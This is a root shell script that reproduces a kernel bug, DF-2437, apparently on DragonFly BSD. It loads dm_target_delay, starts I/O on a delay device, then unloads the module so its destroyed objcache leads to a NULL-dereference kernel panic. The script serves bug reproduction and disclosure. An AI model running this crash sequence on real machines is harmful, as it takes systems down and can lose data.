DF-2437 / run.sh
#!/bin/sh # Run the DF-2437 PoC. Must be root. # # Bug: dm_target_delay MOD_UNLOAD calls _objcache_destroy() unconditionally, # even when dm_target_remove returns EBUSY (active delay device). This # destroys the objcache while the module is still loaded -> subsequent I/O # calls objcache_get(NULL) -> NULL deref panic. # # Sequence: # 1. kldload dm + dm_target_delay # 2. Create delay device with 100ms read delay, resume it # 3. Start background I/O on the delay device # 4. kldunload dm_target_delay -> objcache destroyed (EBUSY, module stays) # 5. Background I/O / delay thread -> objcache_get/put(NULL) -> panic set -e # Ensure modules loaded if ! kldstat -n dm >/dev/null 2>&1; then kldload dm || { echo "kldload dm failed (need root)"; exit 1; } fi if ! kldstat -n dm_target_delay >/dev/null 2>&1; then kldload dm_target_delay 2>/dev/null || true fi echo "[*] DF-2437 dm_target_delay objcache-destroy-on-unload" echo "[*] loaded modules:" kldstat | grep -E "dm|delay" echo "" # Setup: create delay device + reload table + resume echo "[*] step 1: create + reload + resume delay device" ./poc setup echo "" # Step 2: start background I/O (fills delay queue via objcache_get) echo "[*] step 2: starting background I/O on delay device" dd if=/dev/mapper/df2437 of=/dev/null bs=512 count=1000 2>/dev/null & DD_PID=$! sleep 0.2 # let some I/O enter the delay queue # Step 3: kldunload dm_target_delay -> _objcache_destroy() runs (EBUSY) echo "[*] step 3: kldunload dm_target_delay (destroys objcache despite EBUSY)" kldunload dm_target_delay 2>&1 || echo "(kldunload returned nonzero -- expected EBUSY)" echo "" # Step 4: generate more I/O -> objcache_get(NULL) -> panic echo "[*] step 4: generating I/O to trigger objcache_get(NULL)..." echo "[*] expect: kernel panic -- NULL deref in objcache_get/put" dd if=/dev/mapper/df2437 of=/dev/null bs=512 count=10 2>/dev/null & DD_PID2=$! # If we get here, the kernel survived wait $DD_PID 2>/dev/null || true wait $DD_PID2 2>/dev/null || true echo "[!] kernel survived -- bug may not have triggered this run" # Cleanup if still alive ./poc teardown 2>/dev/null || true |